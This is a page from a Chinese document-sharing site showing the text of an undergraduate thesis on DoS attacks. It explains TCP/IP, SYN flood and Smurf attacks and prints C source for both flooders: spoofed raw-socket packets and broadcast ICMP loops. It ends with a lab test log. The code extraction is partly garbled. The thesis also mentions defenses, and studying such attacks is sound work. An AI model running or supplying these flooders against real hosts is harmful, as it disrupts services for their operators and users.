毕业设计(论文)DoS攻击方式的研究及实现.doc

上传人:文库蛋蛋多 文档编号:3976559 上传时间:2023-03-30 格式:DOC 页数:27 大小:152KB
返回 下载 相关 举报
毕业设计(论文)DoS攻击方式的研究及实现.doc_第1页
第1页 / 共27页
毕业设计(论文)DoS攻击方式的研究及实现.doc_第2页
第2页 / 共27页
毕业设计(论文)DoS攻击方式的研究及实现.doc_第3页
第3页 / 共27页
毕业设计(论文)DoS攻击方式的研究及实现.doc_第4页
第4页 / 共27页
毕业设计(论文)DoS攻击方式的研究及实现.doc_第5页
第5页 / 共27页
点击查看更多>>
资源描述

《毕业设计(论文)DoS攻击方式的研究及实现.doc》由会员分享,可在线阅读,更多相关《毕业设计(论文)DoS攻击方式的研究及实现.doc(27页珍藏版)》请在三一办公上搜索。

1、DoS攻击方式的研究及实现摘要:本文在对两种攻击方式的具体分析后,归纳出当前流行的DoS攻击方式的主要特点,并根据攻击的特点提供一些针对这些攻击的防御方法。通过查阅各 种攻击手段的资料,对其代码进行研究,用代码实现两种攻击程序,然后在特定的环境下,模拟了攻击测试,并对测试结果进行比较、分析。 关键字:套接字;报文;拒绝服务;资源衰竭;缓冲区;校验和;广播;带宽耗用 目 录引言41 问题的提出41.1 DoS攻击的概念41.2 DoS攻击类型41.3 两种攻击方式分析52 基于DoS攻击的分析和设计102.1 功能需求102.2 性能需求102.3 系统结构图112.4 数据流程图123 程序实

2、现143.1 实现SYN FLOOD143.2 实现SMURF164 攻击测试224.1攻击实例224.2 防御方法25结论27致谢27参考文献27引言随着信息技术特别是网络技术的不断发展,国际互联网的全球化热潮使人类社会进入了一个新的信息时代。由于国际互联网具有不受时间、地域限制的特性,而且计算机的处理能力迅速增长,越来越多的网络攻击工具被攻击者应用于因特网而引发了大混乱,而在攻击中又以拒绝服务(DoS)为主,这些拒绝服务型攻击每年造成的商业损失达成百上千万美元,对任何系统和网络都构成了威胁。为了防止DoS造成更多的损失,很多研究人员加入到研究行列中来。为了让大家对DoS有更多的了解,所以对

3、 DOS攻击原理以及常见方法进行研究。1 问题的提出1.1 DoS攻击的概念DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。被DoS攻击时,主机上有大量等待的TCP连接,网络中充斥着大量的无用的数据包。攻击者源地址为假,制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。攻击者利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统死机。1.2 DoS攻击类型最常见的DoS攻击形式有4种:1)带宽耗用(bandwidth-

4、consumption)攻击,攻击者有更多的可用带宽而能够造成受害者的拥塞或者征用多个站点集中网络连接对网络进行攻击。即以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。2)资源衰竭(resource-starvation)攻击,与带宽耗用不同的是在于消耗系统资源,一般涉及cpu利用率、内存、文件系统限额和系统进程总数之类的系统资源消耗。即用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。3)编程缺陷(programming flaw)是应用程序、操作系统在处理异常条件上的失败。这些异常条件通常在用

5、户向脆弱的元素发送非期望的数据时发生。对于依赖用户输入的特定应用程序来说,攻击者可能发送大数据串,这样就有可能创建一个缓冲区溢出条件而导致其崩溃。4)DNS攻击是基于域名系统的攻击,攻击者向放大网络的广播地址发送源地址伪造成受害者系统的ICMP回射请求分组,这样放大效果开始表现,放大网络上的所有系统对受害者系统作出响应,受害者系统所有可用带宽将被耗尽。1.3 两种攻击方式分析1)TCP/IP协议因为对于网络协议都是分层的,所以TCP/IP协议不例外,它可以分为四个层次:1.链路层:数据链路层或网络接口层,通常包括操作系统中的设备驱动程序和计算机中对应的网络接口卡;2.网络层:互连网层,处理分组

6、在网络中的活动,网络层协议包括(IP协议、ICMP协议、IGMP协议);3.传输层:它主要为两台主机上的应用程序提供端到端的通信;4.应用层:负责处理特定的应用程序细节(Telnet远程登陆、FTP文件传输协议、SMTP用于电子邮件的简单邮件传输协议、SNMP简单网络管理协议。TCP/IP协议的重点就是IP协议(网际互连协议)和TCP协议(传输控制协议)。首先介绍IP协议,IP协议的主要功能包括无连接数据报传送、数据报寻径以及差错处理三部分。IP层作为通信子网的最高层,提供无连接的数据报传输机制。IP数据报协议非常简单,不能保证传输的可靠性。IP协议是点到点的,它向上层提供统一的IP数据报,使

7、得各种物理帧的差异性对上层协议不复存在。TCP建立在不可靠的IP协议之上,IP不能提供任何可靠性机制,所以TCP的可靠性完全由自己实现。TCP采用的最基本的可靠性技术是:确认与超时重传。流量控制也是保证可靠性的一个重要措施,假如无流量控制,可能因接受缓冲区溢出而丢失大量数据,导致许多重传。此外,TCP还要进行拥塞控制,目的也不外乎提供可靠性。怎样才能建立可靠的连接呢?TCP使用了“三次握手”机制:第一次,“客户机”向“服务器”发送连接请求,其中包括“客户机”端的初始报文序号(比如X)。第二次,“服务器”收到连接请求后,发回连接确认,其中包括“服务器”端的初始报文序号(比如Y),以及“服务器”对

8、“客户机”初始报文序号(X)的确认。第三次,“客户机”向“服务器”发送X序号数据,其中包括对“服务器”初始序号Y的确认。撤消连接比建立连接简单,但也可能造成数据丢失,因为连接的双方都可以发起撤除连接操作。假如A、B两机建立连接并传输报文。在A机毫无准备的情况下,B机单方面发出断连请求,并立刻终止接收该连接上的数据。在A机未收到断连接请求之前,随时可能向B机发送数据,于是便有了数据丢失的可能性。为了解决此问题,再次用到三次握手方法。一方发出断连请求后并不立即撤除连接,而要等待对方确认;对方收到请求后,发送确认报文,并撤除连接;发起方收到确认后最后撤除连接。TCP的拥塞控制也是基于滑动窗口协议的,

9、通过限制发送端向网间网注入报文的速率而达到控制拥塞的目的。TCP发现拥塞的途径有两条:一条是来自ICMP的源抑制报文,一条是报文丢失现象。TCP/IP协议的分析主要在于IP数据报和TCP数据报的格式。那么我们应该首先了解IP数据报和TCP数据报的格式。各种数据格式常常以32bit(即4字节)为单位来描述。IP数据报的完整格式:优先级别DTRC未用 版本首部长度服务类型 总长度 标识标志 片偏移生存时间协议 首部检验和源地址目的地址长度可变的可选字段填充 IP数据报首部IP数据部分IP数据报首部的固定部分中的各字段1.版本:占4bit,指IP协议的版本。通信双方使用的IP协议的版本必须一致。2.

10、首部长度:占4bit,可以表示的最大数值是15个单位(一个单位为4字节),因此IP的首部长度的最大值是60字节。3.服务类型:占8bit,用来获得更好的服务。4.总长度:总长度指首部和数据之和的长度,单位为字节。5.标识:占16bit,它是一个计数器,用来产生数据报的标识。6.标志:占3bit。7.片偏移:较长的分组在分片后,某片在原分组中的相对位置。8.生存时间:生存时间字段记为TTL,即数据报在网络中的寿命9.协议:占8bit,协议字段指出此数据报携带的数据是使用何种协议,以便使目的主机的IP层字段应将此数据报上报给哪个进程。10.首部检验和:此字段只检验数据报的首部,不包括数据部分。TC

11、P数据报的完整格式:源端口目的端口序号确认号数据偏 移保留URGACKPSHRSTSYNFIN窗口检验和紧急指针选项(长度可变)填充TCP数据报首部TCP数据部分 IP数据报首部IP数据部分TCP首部固定部分各字段的意义如下1.源端口和目的端口:各占2个字节。端口是运输层与应用层的服务接口,16bit的端口号加上32bit的IP地址,构成了SOCKET,它相当于运输层服务访问点TSAP的地址(总共是48bit)。这些端口用来将若干高层协议向下复用,也用来将运输层协议向上分用。2.序号:占4bit。TCP是面向数据流的,它传送的报文可以看成为连续的数据流,其中每一个字节都对应于一个序号。首部中的

12、“序号”则指的是本报文段所发送的数据中第一个字节的序号。3.确认序号:占4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号,也就是期望收到的下一个报文段首部的序号字段的值。4.数据偏移:占4bit,它指出数据开始的地方离TCP报文段的起始处有多远。5.保留:占6bit,保留为今后使用,目前应为06.紧急比特(URG):当URG=1时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据),而不按原来的排队顺序来传送。7.确认比特ACK:只有当ACK=1时确认序号字段才有效。8.推送比特PSH:当两个应用进程进行交互式的通信时,有时在一端的应用进程希望

13、在键入一个命令后立即就能够收到对方的响应。9.复位比特RST:当RST=1时,表明TCP连接中出现严重差错,必须释放连接,然后再重新建立运输连接。10.同步比特SYN:在连接建立时用来同步的序号。11.终止比特FIN:用来释放一个连接。12.窗口:占2字节。窗口字段用来控制对方发送的数据量,单位为字节。13.检验和:占2字节。检验和字段检验的范围包括首部和数据这两部分。2) SYN FLOOD攻击SYN FLOOD 是一种比较有效而又非常难于防御的一种DoS攻击方式。它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的资源,从而不能够为正常用户提供服务

14、。这个攻击是经典的以小搏大的攻击,自己使用少量资源占用对方大量资源。一台P4的Linux系统大约能发到3040M的64字节的SYN报文,而一台普通的服务器20M的流量就基本没有任何响应了(包括鼠标、键盘)。而且SYN不仅可以远程进行,而且可以伪造源IP地址,给追查造成很大困难,要查找必须所有骨干网络运营商,一级一级路由器的向上查找。要掌握SYN Flood攻击的基本原理,必须先介绍TCP的三次握手机制。TCP 三次握手过程如下:1客户端向服务器端发送一个SYN置位的TCP报文,包含客户端使用的端口号和初始序列号x;2服务器端收到客户端发送来的SYN报文后,向客户端发送一个SYN和ACK都置位的

15、TCP报文,包含确认号为x1和服务器的初始序列号y;3客户端收到服务器返回的SYNACK报文后,向服务器返回一个确认号为y1序号为x1的ACK报文,一个标准的TCP连接完成。如图1所示:TCP客户端客户端端口(102465535)TCP服务器端服务器端口(11023)SYNSYN/ACKACK132图1 正常情况下TCP连接建立的过程攻击原理:在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYNACK包,并等待源端返回ACK包,如图2所示。由于源地址是伪造的,所以源端永远都不会返回ACK报文,并向受害主机继续发送S

16、YNACK包,当目标计算机收到请求后,就会使用一些系统资源来为新的连接提供服务,接着回复SYNACK。假如一个用户向服务器发送报文后突然死机或掉线,那么服务器在发出SYNACK应答报文后是无法再接受到客户端的ACK报文(第三次握手无法完成)。一些系统都有缺省的回复次数和超时时间,这种情况下服务器端一般会重新发送SYNACK报文给客户端,只有达到一定次数或者超时,占用的系统资源才会被释放。这段时间我们称为SYN Timeout,虽然时间长度是分钟的数量级,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该

17、端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。图2 SYN Flood攻击示意图TCP客户端客户端端口(102465535)TCP服务器端服务器端口(11023)SYNSYN/ACK12伪造源地址3) SMURF攻击Smurf攻击因为其放大效果成为最令人害怕的GENERIC DoS攻击之一。这种放大效果是往一个网络上的多个系统发送定向广播的ping请求,这些系统接着对这种请求作出响应的结果。攻击原理:Smurf攻击是这种攻击的早期形式,是一种在局域网中的攻击手段。它的作用原理是基于广播地址与回应请求的。一台计算机向另一台计算机发送一些特殊的数据包如ping请求时,会接到它的回应

18、;如果向本网络的广播地址发送请求包,实际上会到达网络上所有的计算机,这时就会得到所有计算机的回应。这些回应是需要被接收的计算机处理的,每处理一个就要占用一份系统资源,如果同时接到网络上所有计算机的回应,接收方的系统是有可能吃不消的,就象遭到了DDoS攻击一样。大家会疑问,谁会无聊得去向网络地址发包而招来所有计算机的攻击呢?当然做为一个正常的操作者是不会这么做的,但是当黑客要利用这个原理进行Smurf攻击的时候,他会代替受害者来做这件事。黑客向广播地址发送请求包,所有的计算机得到请求后,却不会把回应发到黑客那里,而是被攻击的计算机处。这是因为黑客冒充了被攻击主机。黑客发包所用的软件是可以伪造源地

19、址的,接到伪造数据包的主机会根据源地址把回应发出去,这当然就是被攻击目标的地址。黑客同时还会把发包的间隔减到几毫秒,这样在单位时间能发出数以千计的请求,使受害者接到被欺骗计算机那里传来的洪水般的回应。象遭到其他类型的拒绝服务攻击一样,被攻击主机会网络和系统无法响应,严重时还会导致系统崩溃。黑客借助了网络中所有计算机来攻击受害者,而不需要事先去占领这些被欺骗的主机。2 基于DoS攻击的分析和设计2.1 功能需求 1)软件需要在命令行模式下运行。 2)被攻击主机应确保处于运行态。 3)网络传输速度较快。2.2 性能需求 系统对运行环境的要求:1) 硬件环境 局域网环境百兆交换机高性能PC一台普通性

20、能PC一台 2) 软件环境Win 2000操作系统UNIX操作系统 网络监听工具SNOOPC+编译工具VISUAL STUDIO 6.02.3 系统结构图初始化SYN FLOOD初始化缓冲 区初始化套接 字TCP首部校验和构造tcp报文IP首部校验 和发送报文进行攻 击 图3 SYN FLOOD结构图初始化SMURF初始化缓冲 区初始化套接 字ICMP校验和构造伪造ICMP报文WENN 文IP首部校验 和发送定向广播进行攻 击 图4 SMURF结构图2.4 数据流程图SYN FLOOD数据流程图如下:伪TCP首部校验和TCP首部 构造TCP报文用户校验和IP首部发送报文被攻击主机 图5 SYN

21、 FLOOD数据流程图SMURF数据流程图如下:校验和ICMP 构造ICMP报文用户校验和IP首部ICMP回射请求分组被攻击主机所在网络 图6 SMURF数据流程图3 程序实现3.1 实现SYN FLOOD程序描述:目的:利用TCP连接三次握手定理进行攻击.特点:发起的连接都是半连接功能输入 处理 输出被攻击主机IP 生成伪造IP的报文向被攻击主机发送报文性能要求 对TCP 、IP首部校验和运算要有较快速度攻击机所处局域网内机器较少,避免伪造IP与网内机器IP相同输入项 被攻击主机IP输出项 伪造的SYN报文流程逻辑/定义TCP首部typedef struct _tcphdr USHORT t

22、h_sport; /16位源端口USHORT th_dport; /16位目的端口unsigned int th_seq; /32位序列号unsigned int th_ack; /32位确认号unsigned char th_lenres; /4位首部长度+6位保留字中的4位unsigned char th_flag; /2位保留字+6位标志位USHORT th_win; /16位窗口大小USHORT th_sum; /16位校验和USHORT th_urp; /16位紧急数据偏移量TCP_HEADER;/定义IP首部typedef struct _iphdrunsigned char h_

23、verlen; /4位首部长度+4位IP版本号unsigned char tos; /8位服务类型TOSunsigned short total_len; /16位总长度(字节)unsigned short ident; /16位标识unsigned short flags; /3位标志位unsigned char ttl; /8位生存时间 TTLunsigned char proto; /8位协议号(TCP, UDP 或其他)unsigned short checksum; /16位IP首部校验和unsigned int sourceIP; /32位源IP地址unsigned int des

24、tIP; /32位目的IP地址IP_HEADER;/建立原始套接字SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);/计算校验和USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0;while(size 1) cksum+=*buffer+; size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0xf

25、fff);cksum += (cksum 16);return (USHORT)(cksum);/构造TCP伪首部,保证校验和的有效性struct unsigned long saddr; /源地址unsigned long daddr; /目的地址char mbz; /置空char ptcl; /协议类型unsigned short tcpl; /TCP长度psd_header;/这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和memcpy(SendBuf,&psd_header,sizeof(psd_header);memcpy(SendBuf+sizeof(psd_head

26、er),&tcp_header,sizeof(tcp_header);tcp_header.th_sum=checksum(USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header);/计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header);memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header);ip_header.checksum=checksum(USHORT *)SendBuf, sizeof(ip_header)+size

27、of(tcp_header);/形成TCP报文memcpy(SendBuf,&ip_header,sizeof(ip_header);/向被攻击机发送SYN请求sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr);3.2 实现SMURF程序描述:目的:利用发送定向广播进行攻击.特点:攻击效果被放大 功能 向被攻击主机所在网络发送ICMP回射请求分组性能要求 对ICMP、IP首部校验和运算要有较快速度攻击机所处局域网内机器较多,达到攻击放大效果输入项 被攻击主机IP , 广播地址所在文件,包数

28、,包之间延迟,包大小输出项 ICMP报文流程逻辑/帮助信息void usage (char *prog) fprintf(stderr, usage: %s nn target=address to hitn bcast file=file to read broadcast addresses fromn num packets=number of packets to send (0 = flood)n packet delay=wait between each packet (in ms)n packet size=size of packet (1) cksum+=*buffer+;

29、 size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0xffff);cksum += (cksum 16);return (USHORT)(cksum);/主函数int main(int argc, char *argv) struct sockaddr_in sin; /地址结构 struct hostent *he; /主机信息结构 FILE *bcastfile; /广播地址文件 int i,sock,bcast,delay,num,pktsize,cycle =

30、 0, x; char buf32, *bcastaddr = malloc(8192); banner(); /显示标记 signal(SIGINT, ctrlc); if (argc h_addr, he-h_length); /通讯发生区域为WINDOWSsin.sin_family = AF_INET; /端口置空sin.sin_port = htons(0); num=atoi(argv3); delay=atoi(argv4); pktsize=atoi(argv5); /以只读方式打开广播地址文件失败if (bcastfile=fopen(argv2,r)=NULL) perro

31、r(opening bcast file); exit(-1); x=0; /读入全部广播地址 while (!feof(bcastfile) fgets(buf,32,bcastfile); if (buf0=#| buf0 = n | ! isdigit(buf0) continue; for (i=0; i 1024) fprintf(stderr, ERROR: packet size must be 1024nn); exit(-1); /原始套接字初始化 if (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) 0) perror(gett

32、ing socket); exit(-1); /设置套接字选项 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast); printf(Flooding %s (. = 25 outgoing packets)n, argv1); /循环发送ICMP回射请求 for (i=0; itot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip-ihl = 5; ip-version = 4; ip-ttl = 255;

33、ip-tos = 0; ip-frag_off = 0; ip-protocol = IPPROTO_ICMP; ip-saddr = sin.sin_addr.s_addr; ip-daddr = dest; ip-check = in_chksum(u_short *)ip, sizeof(struct iphdr); /设置ICMP报文并计算校验和icmp-type = 8; icmp-code = 0; icmp-checksum = in_chksum(u_short *)icmp, sizeof(struct icmphdr) + psize); /发送ICMP报文 sendto(

34、sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr); 4 攻击测试4.1攻击实例1)SYN FLOOD下面是模拟的一次Syn Flood攻击的实际过程 这一个局域网环境,只有一台攻击机(PIII667/128),被攻击的是一台Solaris 8.0 (spark)的主机,网络设备是Cisco的百兆交换机。这是在攻击并未进行之前,在Solaris上进行snoop的记录,snoop与tcpdump等网络监听工具

35、一样,也是一个很好的网络抓包与分析的工具。可以看到攻击之前,目标主机上接到的基本上都是一些普通的网络包。 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes192.

36、168.0.66 - 192.168.0.255 NBT Datagram Service Type=17 Source=GU0192.168.0.247 - 192.168.0.255 NBT Datagram Service Type=17 Source=TSC0 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes192.168.0.200 - (broadcast) ARP C Who is 192.168.0.102, 192.168.0.102 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes192.168.0.66 - 192.168.0.255 NBT Datagram Serv

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 办公文档 > 其他范文


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号